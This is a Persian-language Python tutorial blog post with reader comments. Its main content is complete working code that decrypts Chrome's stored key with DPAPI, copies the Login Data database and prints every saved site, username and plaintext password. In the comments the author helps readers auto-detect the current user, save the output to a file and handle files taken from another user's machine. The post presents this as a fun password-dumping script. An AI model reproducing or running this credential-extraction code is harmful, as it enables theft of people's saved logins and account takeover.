بیرون کشیدن پسوورد های google chrome با پایتون - مستر پایتون

بیرون کشیدن پسوورد های google chrome با پایتون

پسوورد های google chrome

سلام دوستان 🙂 حالتون ؟ احوالتون ؟ اقا امروز یه دونه از اون آموزش باحالا رو داریم . میخوایم یه اسکریپتی بنویسیم که تا اجراش میکنیم بیاد بیل بزنه تمام پسوورد های ذخیره شده روی مرورگر گوگل کروم رو بریزه بالا . این ویدیو رو از دست ندین به دوستاتونم معرفی کنید 🙂

سورس کد نوشته شده در ویدیو

				
					
# Chrome Password Extract

import json
from base64 import b64decode
import win32crypt
import sqlite3 
import shutil
from Crypto.Cipher import AES

f = open("C:\\Users\\Hossein\\AppData\\Local\\Google\\Chrome\\User Data\\Local State")
local_state = json.loads(f.read())

key = local_state["os_crypt"]["encrypted_key"]

#  1
key = b64decode(key) # Base 64 Decoder
key = key[5:]
#  2
key = win32crypt.CryptUnprotectData(key)[1]
###########################################
path = "C:\\Users\\Hossein\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\"
shutil.copy(path+"Login Data" , path+"database2") # Copy Database

database = sqlite3.connect(path+"database2")
cursor = database.cursor()

cursor.execute("select origin_url , username_value , password_value from logins")

result = cursor.fetchall()

def decrypt(password , key):
    iv = password[3:15]
    password = password[15:]
    
    cipher = AES.new(key , AES.MODE_GCM , iv)
    password = cipher.decrypt(password)
    password = password[:-16].decode()
    return password


for i in result:
    url = i[0]
    username = i[1]
    password = decrypt(i[2] , key)
    print("{} : ".format(url))
    print("\tusername : {}".format(username))
    print("\tpassword : {}".format(password))
    print()


input()
				
			

مارو دنبال کنید

نظرات

سوالات و نظراتتون رو با ما به اشتراک بذارید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

USER1108 ۲۳ فروردین ۱۴۰۲

به به
چقد تمیز و قشنگ شده سایت
اقا ی سوال
C:\\Users\\Hossein\\AppData\\Local\\Google\\Chrome\\User Data\\Local State
شما اینجا اسم ویندوز رو گفتی که حسین
و مال من هم پرو بود
اگر اسم سیستم رو ندونیم
چی کار میشه کرد که خودش بفهمه؟

Hossein Ahmadi ۲۴ فروردین ۱۴۰۲

سلام . سلامت باشی 🙂
کتابخونه getpass رو import کن .
تابع getpass.getuser رو فراخونی کنی خروجیش اسم user فعلی رو برمیگردونه .

آواتار کاربر کاربر مهمان HAZARD ۸ خرداد ۱۴۰۲

عه ممنون کار کرد
و اینکه
منم تو حدودای ۹۹ شروع کردمXD
به هر حال ممنون ازت
راستش داریم ی ابزار میزنیم
و قطعا اسم سایت تو منابع اوله

Hossein Ahmadi ۸ خرداد ۱۴۰۲

پس بالاخره درست شد 🙂 خداروشکر
عالیه . موفق باشی
خواهش میکنم .
ممنون از شما . اگه دوست داشتی منم در جریان بزار وقتی کامل شد ابزارت

آواتار کاربر کاربر مهمان USER41312 ۱۵ خرداد ۱۴۰۲

اقا حالت؟ احوالت؟
چرا سایت اپدیت نمیشه؟
اقا یک سوال
چجوری میشه خروجی که پسورد هارو نمایش میده
به طور کامل کپی کنیم یا تو یک فایل txt سیو کنم؟

Hossein Ahmadi ۱۵ خرداد ۱۴۰۲

سلامت باشی .
آپدیت ؟ چه آپدیتی ؟
به قسمت ۱۸ دوره جامع پایتون مراجعه کن در مورد کار با فایل ها است .
تو اون قسمت اشاره میشه چجوری داخل یک فایل txt اطلاعات بنویسیم . از اون تکنیک استفاده کن تا خروجی که میخوای رو داخل فایل بنویسی .

آواتار کاربر کاربر مهمان مهدی ۲۴ مهر ۱۴۰۲

سلام
ممنون از آموزش خوبتون
فقط ی موردی که من باهاش مشکل دارم اینه که این دو فایل رو از ی سیستم یا یوزر دیگه کپی میکنم توی یوزر خودم و میخام برنامه رو ران کنم خطا میده -ظاهرا یوزری که اون دو فایل رو آوردم دیگه و سیستم و یوزر خودم دسترسی نداره

Hossein Ahmadi ۲۴ مهر ۱۴۰۲

سلام . خواهش میکنم .
به دلیل اینکه توابع رمزگشایی داده ای که استفاده میشه از اعتبارنامه های یوزر فعلی به عنوان کلید رمزگشایی استفاده میکنه بنابراین باید با همون یوزری که فایل های مربوطه بهش رو میخونید کد رو اجرا کنید

محمدطاها محمدپوراوارشکی ۱۵ فروردین ۱۴۰۳

سلام ممنون از اموزش
جسارتا سر این پکیج کریپتو به مشکل میخورم
from Crypto.Cipher import AES
ModuleNotFoundError: No module named ‘Crypto’
با اینکه هم پکیج crypto رو دارم هم pycryptodoem و هر دو بروز و اخرین نسخه هستن؟، ورژن پایتون هم ۳.۱۲.۲ هست. رو ویژوال استودیو، پایچارم هر دو ارور میده برای این پکیج. ممنون میشم راهنمایی کنی

Hossein Ahmadi ۲۳ فروردین ۱۴۰۳

سلام خواهش میکنم .
ممکنه مشکل از نصب همزمان چندین نسخه از این کتابخانه ها روی سیستم شما باشه با استفاده از دستورات زیر نسخه های قبلی رو حذف کنید و سپس یک بار نسخه جدید رو نصب کنید :
دستور حذف نسخه های قبلی:
pip uninstall pycrypto
pip uninstall pycryptodome
pip uninstall crypto
نصب نسخه جدید:
pip install pycryptodome